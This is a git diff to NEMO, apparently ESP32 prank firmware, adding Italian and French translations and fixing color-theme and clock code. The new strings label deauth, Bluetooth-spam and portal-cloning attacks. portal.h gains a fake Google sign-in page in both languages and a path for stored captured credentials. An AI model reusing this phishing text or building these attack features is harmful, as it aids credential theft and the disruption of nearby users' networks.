diff --git a/README.md b/README.md index c0c07b6..8b9b4ee 100644 --- a/README.md +++ b/README.md @@ -4,9 +4,6 @@ Firmware for high-tech pranks on M5Stack ESP32 Devices ![M5-Nemo Matrix Logo](https://github.com/n0xa/m5stick-nemo/blob/main/NEMOMatrix.png) Logo by @unagironin -# Note: @n0xa is mostly offline until March 23rd due to relocation for work -I am not ignoring issues and pull requests, but I won't have time to address any of them until late March 2024. - ## Name and Background NEMO started a personal project to help me learn more about ESP32 development with the Arduino IDE. I decided to replicate a few common, trending pranks that were getting a lot of attention in the tech community, as a challenge to myself, and to also better understand these attacks. NEMO is named after the small, clever and stubborn fish in Finding Nemo. This project stands in contrast to another high-tech gadget that's associated with certain sea-dwelling creatures. I did want to prove that there are a lot of things you can do with a small development kit and some curiosity. I have no delusions of superseding the capabilities of any similar device with this project. It's just for fun, and my own education. diff --git a/localization.h b/localization.h index bb96bd3..c66aab6 100644 --- a/localization.h +++ b/localization.h @@ -98,6 +98,106 @@ #define TXT_THEME "Color Theme" #endif +#if defined(LANGUAGE_IT_IT) + #define TXT_BACK "Indietro" + #define TXT_CLOCK "Orologio" + #define TXT_SETTINGS "Configurazione" + #define TXT_NEVER "Mai" + #define TXT_SEC "secondi" + #define TXT_MIN "minuti" + #define TXT_AUTO_DIM "Luminosita Auto" + #define TXT_SET_BRIGHT "IMPOSTA LUMINOSITA" + #define TXT_BATT_INFO "Info Batteria" + #define TXT_BRIGHT "Luminosita" + #define TXT_SET_CLOCK "Imposta Ora" + #define TXT_ROTATION "Rotazione" + #define TXT_ABOUT "Info" + #define TXT_REBOOT "Riavvio" + #define TXT_CLR_SETTINGS "Canc. Settings" + #define TXT_CLRING_SETTINGS "Ripristina Default\nSettings..." + #define TXT_RIGHT "Destra" + #define TXT_LEFT "Sinistra" + #define TXT_BATT "Batteria: " + #define TXT_EXIT "Premi un tasto per uscire" + #define TXT_RG_AMERICAS "Regione:\nAmerica / Asia\n" + #define TXT_RG_EMEA "Regione: EMEA" + #define TXT_SEL_GO_PAUSE "Seleziona: Go/Pausa" + #define TXT_SEL_EXIT "Prossimo: Esci" + #define TXT_TRIG_TV "triggered TVBG" + #define TXT_MN_AMERICA "America / Asia" + #define TXT_MN_EMEA "EU/MidEast/Africa" + #define TXT_REGION "Regione" + #define TXT_FK_GP "Tasto Front.: Go/Pausa" + #define TXT_SET_HOUR "IMPOSTA ORA" + #define TXT_SET_MIN "IMPOSTA MINUTI" + #define TXT_ADV "Avviso:\n" + #define TXT_SP_RND "Swift Pair Random" + #define TXT_SEL_EXIT2 "\n\nProssimo: Esci" + #define TXT_BT_SPAM "BT Spam" + #define TXT_SA_CRASH "SourApple Crash" + #define TXT_CMB_BT_SPAM "BT Spam Misto" + #define TXT_AD_SPAM "Android Spam" + #define TXT_AJ_TRANSF_NM "Transfer Number" + #define TXT_AJ_TV_COLOR "TV Color Balance" + #define TXT_STP_NW_PH "Setup New Phone" + #define TXT_SA_ADV "SourApple Advertisement: " + #define TXT_SP_ADV "SwiftPair Advertisement: '%s' - " + #define TXT_AD_SPAM_ADV "Android Spam Advertisement: " + #define TXT_AJ_ADV "AppleJuice Advertisement: " + #define TXT_WF_SP "Spam WiFi" + #define TXT_RND_SSID " - Random SSIDs\n" + #define TXT_WF_SCAN "Scan Wifi" + #define TXT_WF_SPAM_FUN "Spam Funny" + #define TXT_WF_SPAM_RR "Spam Rickroll" + #define TXT_WF_SPAM_RND "Spam Random" + #define TXT_WF_RESCAN "[RIPETI SCANSIONE]" + #define TXT_WF_OPEN "Apri" + #define TXT_WF_CHANN "Canale : %d\n" + #define TXT_WF_CRYPT "Crypt: %s\n" + #define TXT_SEL_BACK "\nProssimo: Back\n" + #define TXT_HOLD_CLONE "Tieni Premuto: Clone\n" + #define TXT_WF_SCN "Scan WiFi" + #define TXT_WF_SCNING "Scansione in corso..." + #define TXT_INST_NXT "Prossimo: Down Arrow" + #define TXT_INST_PRV "Precedente: Up Arrow" + #define TXT_INST_SEL "Sel. : Enter or ->" + #define TXT_INST_HOME "Home: Esc or <- " + #define TXT_INST_PRSS_KEY "Premi un tasto" + #define TXT_STK_NXT "Avanti: Side Button" + #define TXT_STK_SEL "Seleziona : M5 Button" + #define TXT_STK_HOME "Home: Tasto Accensione" + #define TXT_SDCARD "Mount/Unmount SD" + #define TXT_DEAUTH_START "Seleziona>Start DEAUTH\n" + #define TXT_DEAUTH_STOP "Seleziona>Stop DEAUTH \n" + #define TXT_HOLD_ATTACK "Tieni Premuto: Attack\n" + #define TXT_WFA_PORTAL "Clone Portal" + #define TXT_WFA_DEAUTH "Deauth attack" + #define TXT_WFA_COMBINED "Deauth+Clone" + #define TXT_BLACK "Nero" + #define TXT_NAVY "Blu Scuro" + #define TXT_DARKGREEN "Verde Scuro" + #define TXT_DARKCYAN "Ciano Chiaro" + #define TXT_MAROON "Marrone" + #define TXT_PURPLE "Viola" + #define TXT_OLIVE "Olive" + #define TXT_LIGHTGREY "Grigio Chiaro" + #define TXT_DARKGREY "Grigio Scuro" + #define TXT_BLUE "Blue" + #define TXT_GREEN "Verde" + #define TXT_CYAN "Ciano" + #define TXT_RED "Rosso" + #define TXT_MAGENTA "Magenta" + #define TXT_YELLOW "Giallo" + #define TXT_WHITE "Bianco" + #define TXT_ORANGE "Arancio" + #define TXT_GREENYELLOW "Giallo Verde" + #define TXT_PINK "Rosa" + #define TXT_COLOR "Colore Pers." + #define TXT_SET_FGCOLOR "COLORE TESTO" + #define TXT_SET_BGCOLOR "COLORE SFONDO" + #define TXT_THEME "Tema Colori" +#endif + #if defined(LANGUAGE_PT_BR) #define TXT_BACK "Voltar" #define TXT_CLOCK "Relogio" @@ -197,3 +297,103 @@ #define TXT_SET_BGCOLOR "COR DE FUNDO" #define TXT_THEME "Tema De Cores" #endif + +#if defined(LANGUAGE_FR_FR) + #define TXT_BACK "Retour" + #define TXT_CLOCK "Horloge" + #define TXT_SETTINGS "Parametres" + #define TXT_NEVER "Jamais" + #define TXT_SEC "secondes" + #define TXT_MIN "minutes" + #define TXT_AUTO_DIM "REGLER LA BAISSE DE LUMINOSITE" + #define TXT_SET_BRIGHT "REGLER LA LUMINOSITE" + #define TXT_BATT_INFO "Infos batterie" + #define TXT_BRIGHT "Luminosite" + #define TXT_SET_CLOCK "Regler l'horloge" + #define TXT_ROTATION "Rotation" + #define TXT_ABOUT "A propos" + #define TXT_REBOOT "Redemarrer" + #define TXT_CLR_SETTINGS "Reinitialiser" + #define TXT_CLRING_SETTINGS "Reinitialisation" + #define TXT_RIGHT "Droite" + #define TXT_LEFT "Gauche" + #define TXT_BATT "Batterie: " + #define TXT_EXIT "Pressez n'importe\nquelle touche pour\nquitter" + #define TXT_RG_AMERICAS "Region:\nAmeriques / Asie\n" + #define TXT_RG_EMEA "Region: EMEA" + #define TXT_SEL_GO_PAUSE "Touche M5: Go/Stop" + #define TXT_SEL_EXIT "Suivant: Quitter" + #define TXT_TRIG_TV "TVBG en cours..." + #define TXT_MN_AMERICA "Ameriques / Asie" + #define TXT_MN_EMEA "EU/M-O/Afrique" + #define TXT_REGION "Region" + #define TXT_FK_GP "Touche M5: Go/Stop" + #define TXT_SET_HOUR "REGLER L'HEURE" + #define TXT_SET_MIN "REGLER LES MINUTES" + #define TXT_ADV "Notification:\n" + #define TXT_SP_RND "Swift Pair Aleatoire" + #define TXT_SEL_EXIT2 "\n\nSuivant: Quitter" + #define TXT_BT_SPAM "BT Spam" + #define TXT_SA_CRASH "SourApple Crash" + #define TXT_CMB_BT_SPAM " BT Spam Combine" + #define TXT_AD_SPAM "Android Spam" + #define TXT_AJ_TRANSF_NM "Transfert de Num." + #define TXT_AJ_TV_COLOR "Colorimetrie TV" + #define TXT_STP_NW_PH "Setup New Phone" + #define TXT_SA_ADV "Notifications SourApple : " + #define TXT_SP_ADV "Notifications SwiftPair : '%s' - " + #define TXT_AD_SPAM_ADV "Notifications Android Spam: " + #define TXT_AJ_ADV "AppleJuice : " + #define TXT_WF_SP "WiFi Spam" + #define TXT_RND_SSID " - SSIDs Aleatoires\n" + #define TXT_WF_SCAN "Scan Wifi" + #define TXT_WF_SPAM_FUN "Spam Funny" + #define TXT_WF_SPAM_RR "Spam Rickroll" + #define TXT_WF_SPAM_RND "Spam Aleatoire" + #define TXT_WF_RESCAN "[RESCAN]" + #define TXT_WF_OPEN "Ouvrir" + #define TXT_WF_CHANN "Canal: %d\n" + #define TXT_WF_CRYPT "Crypt: %s\n" + #define TXT_SEL_BACK "\nSuivant: Retour\n" + #define TXT_HOLD_CLONE "Touche M5: Cloner\n" + #define TXT_WF_SCN "Scan WiFi" + #define TXT_WF_SCNING "Scan..." + #define TXT_INST_NXT "Suivant: Touche Bas" + #define TXT_INST_PRV "Precedent: Touche Haut" + #define TXT_INST_SEL "Sel : Entree ou ->" + #define TXT_INST_HOME "Accueil: Echap ou <-" + #define TXT_INST_PRSS_KEY "Pressez une touche" + #define TXT_STK_NXT "Suivant: Touche Bas" + #define TXT_STK_SEL "Select.: Touche M5" + #define TXT_STK_HOME "Accueil: Touche M5" + #define TXT_SDCARD "Monter/demont. SD" + #define TXT_DEAUTH_START "Choix>Lancer DEAUTH\n" + #define TXT_DEAUTH_STOP "Choix>Stopper DEAUTH \n" + #define TXT_HOLD_ATTACK "Touche M5: Attaquer\n" + #define TXT_WFA_PORTAL "Cloner Portail" + #define TXT_WFA_DEAUTH "Attaque Deauth" + #define TXT_WFA_COMBINED "Deauth+Clone" + #define TXT_BLACK "Noir" + #define TXT_NAVY "Bleu Marine" + #define TXT_DARKGREEN "Vert Fonce" + #define TXT_DARKCYAN "Cyan Fonce" + #define TXT_MAROON "Marron" + #define TXT_PURPLE "Violet" + #define TXT_OLIVE "Olive" + #define TXT_LIGHTGREY "Gris Clair" + #define TXT_DARKGREY "Gris Fonce" + #define TXT_BLUE "Bleu" + #define TXT_GREEN "Vert" + #define TXT_CYAN "Cyan" + #define TXT_RED "Rouge" + #define TXT_MAGENTA "Magenta" + #define TXT_YELLOW "Jaune" + #define TXT_WHITE "Blanc" + #define TXT_ORANGE "Orange" + #define TXT_GREENYELLOW "Jaune-Vert" + #define TXT_PINK "Rose" + #define TXT_COLOR "Choix des couleurs" + #define TXT_SET_FGCOLOR "COULEUR PRINCIPALE" + #define TXT_SET_BGCOLOR "COULEUR SECONDAIRE" + #define TXT_THEME "Theme" +#endif diff --git a/m5stick-nemo.ino b/m5stick-nemo.ino index 52418a7..64f620d 100644 --- a/m5stick-nemo.ino +++ b/m5stick-nemo.ino @@ -11,6 +11,8 @@ // -=-=- NEMO Language for Menu and Portal -=- Thanks, @marivaaldo and @Mmatuda! -=-=- // #define LANGUAGE_EN_US // #define LANGUAGE_PT_BR +// #define LANGUAGE_IT_IT +// #define LANGUAGE_FR_FR // -- DEPRECATED - THESE ARE NOW EEPROM DEFINED -- // uint16_t BGCOLOR=0x0001; // placeholder @@ -24,7 +26,7 @@ uint16_t FGCOLOR=0xFFF1; // placeholder #define CARDPUTER #endif -#if !defined(LANGUAGE_EN_US) && !defined(LANGUAGE_PT_BR) +#if !defined(LANGUAGE_EN_US) && !defined(LANGUAGE_PT_BR) && !defined(LANGUAGE_IT_IT) && !defined(LANGUAGE_FR_FR) #define LANGUAGE_EN_US #endif @@ -47,8 +49,8 @@ uint16_t FGCOLOR=0xFFF1; // placeholder #define ACTIVE_LOW_IR #define ROTATION #define USE_EEPROM - #define SDCARD //Requires a custom-built adapter - // #define SONG + //#define SDCARD //Requires a custom-built adapter + //#define SONG // -=-=- ALIASES -=-=- #define DISP M5.Lcd @@ -209,8 +211,10 @@ const String contributors[] PROGMEM = { "@bmorcelli", "@chr0m1ng", "@doflamingozk", + "@9Ri7", "@gustavocelani", "@imxnoobx", + "@klamath1977", "@marivaaldo", "@mmatuda", "@n0xa", @@ -719,19 +723,12 @@ void setcolor(bool fg, int col){ break; } if(fg){ - if(color == BGCOLOR){ - cursor++; - cursor = cursor % cmenu_size; - }else{ - FGCOLOR=color; - } + FGCOLOR=color; }else{ - if(color == FGCOLOR){ - cursor++; - cursor = cursor % cmenu_size; - }else{ - BGCOLOR=color; - } + BGCOLOR=color; + } + if(FGCOLOR == BGCOLOR){ + BGCOLOR = FGCOLOR ^ 0xFFFF; } DISP.setTextColor(FGCOLOR, BGCOLOR); } @@ -751,6 +748,7 @@ void color_setup() { void color_loop() { if (check_next_press()) { + setcolor(EEPROM.read(5), false); cursor++; cursor = cursor % cmenu_size; setcolor(true, cursor); @@ -815,58 +813,61 @@ void theme_setup() { drawmenu(thmenu, thmenu_size); } +int BG=0; +int FG=0; + void theme_loop() { if (check_next_press()) { cursor++; cursor = cursor % thmenu_size; switch (thmenu[cursor].command){ case 0: - FGCOLOR=11; - BGCOLOR=1; + FG=11; + BG=1; break; case 1: // Nemo - FGCOLOR=11; - BGCOLOR=1; + FG=11; + BG=1; break; case 2: // Tux - FGCOLOR=8; - BGCOLOR=1; + FG=8; + BG=1; break; case 3: // Bill - FGCOLOR=16; - BGCOLOR=10; + FG=16; + BG=10; break; case 4: // Steve - FGCOLOR=1; - BGCOLOR=8; + FG=1; + BG=8; break; case 5: // Lilac - FGCOLOR=19; - BGCOLOR=6; + FG=19; + BG=6; break; case 6: // Contrast - FGCOLOR=16; - BGCOLOR=1; + FG=16; + BG=1; break; case 7: // NightShift - FGCOLOR=5; - BGCOLOR=1; + FG=5; + BG=1; break; case 8: // Camo - FGCOLOR=1; - BGCOLOR=7; + FG=1; + BG=7; break; case 9: // BubbleGum - FGCOLOR=1; - BGCOLOR=19; + FG=1; + BG=19; break; case 99: - FGCOLOR=11; - BGCOLOR=1; + FG=11; + BG=1; break; } - setcolor(true, FGCOLOR); - setcolor(false, BGCOLOR); + setcolor(true, FG); + setcolor(false, BG); drawmenu(thmenu, thmenu_size); delay(250); } @@ -888,10 +889,11 @@ void theme_loop() { break; default: #if defined(USE_EEPROM) - Serial.printf("EEPROM WRITE (4) FGCOLOR: %d\n", FGCOLOR); - EEPROM.write(4, FGCOLOR); - Serial.printf("EEPROM WRITE (5) BGCOLOR: %d\n", BGCOLOR); - EEPROM.write(5, BGCOLOR); + Serial.printf("EEPROM WRITE (4) FGCOLOR: %d\n", FG); + EEPROM.write(4, FG); + Serial.printf("EEPROM WRITE (5) BGCOLOR: %d\n", BG); + EEPROM.write(5, BG); + EEPROM.commit(); #endif rstOverride = false; isSwitching = true; @@ -900,8 +902,6 @@ void theme_loop() { } } - - int rotation = 1; #if defined(ROTATION) /// Rotation MENU /// @@ -1256,11 +1256,11 @@ void sendAllCodes() { #if defined(RTC) void clock_setup() { DISP.fillScreen(BGCOLOR); - DISP.setTextSize(MEDIUM_TEXT); + DISP.setTextSize(1); } void clock_loop() { - DISP.setCursor(40, 40, 2); + DISP.setCursor(10, 40, 7); #if defined(STICK_C_PLUS2) auto dt = StickCP2.Rtc.getDateTime(); DISP.printf("%02d:%02d:%02d\n", dt.time.hours, dt.time.minutes, dt.time.seconds); @@ -1268,7 +1268,6 @@ void sendAllCodes() { M5.Rtc.GetBm8563Time(); DISP.printf("%02d:%02d:%02d\n", M5.Rtc.Hour, M5.Rtc.Minute, M5.Rtc.Second); #endif - delay(250); check_select_press(); } diff --git a/portal.h b/portal.h index c7ef5c9..5767e68 100644 --- a/portal.h +++ b/portal.h @@ -3,11 +3,12 @@ // Retaining the Portuguese translations since this project has a large // fan base in Brazil. Shouts to CyberJulio as well. -#define DEFAULT_AP_SSID_NAME "Nemo Free WiFi" +#define DEFAULT_AP_SSID_NAME "NEMO Free WiFi" #define SD_CREDS_PATH "/nemo-portal-creds.txt" -#if defined(LANGUAGE_EN_US) && defined(LANGUAGE_PT_BR) -#error "Please define only one language: LANGUAGE_EN_US or LANGUAGE_PT_BR" + +#if defined(LANGUAGE_EN_US) && defined(LANGUAGE_PT_BR) && defined(LANGUAGE_IT_IT) && defined(LANGUAGE_FR_FR) +#error "Please define only one language: LANGUAGE_EN_US, LANGUAGE_PT_BR, LANGUAGE_IT_IT or LANGUAGE_FR_FR" #endif #if defined(LANGUAGE_EN_US) @@ -28,6 +29,24 @@ #define LOGIN_BUTTON "Avançar" #define LOGIN_AFTER_MESSAGE "Fazendo login..." #define TYPE_SSID_TEXT "Tamanho entre 2 e 32\nInvalidos: ?,$,\",[,\\,],+\n\nDigite o SSID\nEnter para Confirmar\n\n" +#elif defined(LANGUAGE_IT_IT) +#define LOGIN_TITLE "Accedi" +#define LOGIN_SUBTITLE "Utilizza il tuo Account Google" +#define LOGIN_EMAIL_PLACEHOLDER "Email" +#define LOGIN_PASSWORD_PLACEHOLDER "Password" +#define LOGIN_MESSAGE "Effettua il login per navigare in sicurezza." +#define LOGIN_BUTTON "Avanti" +#define LOGIN_AFTER_MESSAGE "Per favore attendi qualche minuto. Presto sarai in grado di accedere a Internet." +#define TYPE_SSID_TEXT "SSID deve essere compresa tra 2 e 32\nInvalido: ?,$,\",[,\\,],+\n\nScrivi l'SSID\nPremi Invio per Confermare\n\n" +#elif defined(LANGUAGE_FR_FR) +#define LOGIN_TITLE "Connexion" +#define LOGIN_SUBTITLE "Utiliser votre compte Google" +#define LOGIN_EMAIL_PLACEHOLDER "Adresse e-mail" +#define LOGIN_PASSWORD_PLACEHOLDER "Mot de passe" +#define LOGIN_MESSAGE "Merci de vous connecter pour obtenir une navigation sécurisée." +#define LOGIN_BUTTON "Suivant" +#define LOGIN_AFTER_MESSAGE "Connexion en cours. Merci de patienter quelques instants." +#define TYPE_SSID_TEXT "La longueur du SSID doit être entre 2 et 32\nInvalide: ?,$,\",[,\\,],+\n\nÉcrivez le SSID\nPressez Entrée pour Valider\n\n" #endif int totalCapturedCredentials = 0; diff --git a/wifispam.h b/wifispam.h index 11c0971..919e776 100644 --- a/wifispam.h +++ b/wifispam.h @@ -1,5 +1,9 @@ // ===== Settings ===== // -const uint8_t channels[] = {1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11}; // used Wi-Fi channels (available: 1-14) +#if defined(LANGUAGE_FR_FR) || defined (LANGUAGE_PT_BR) // please check your country’s restrictions and choose only the Wi-Fi channels allowed there +const uint8_t channels[] = {1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13}; // used Wi-Fi channels (available: 1-14) +#else +const uint8_t channels[] = {1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11}; // default for LANGUAGE_EN_US +#endif const bool wpa2 = true; // WPA2 networks int spamtype = 1; // 1 = funny, 2 = rickroll, maybe more later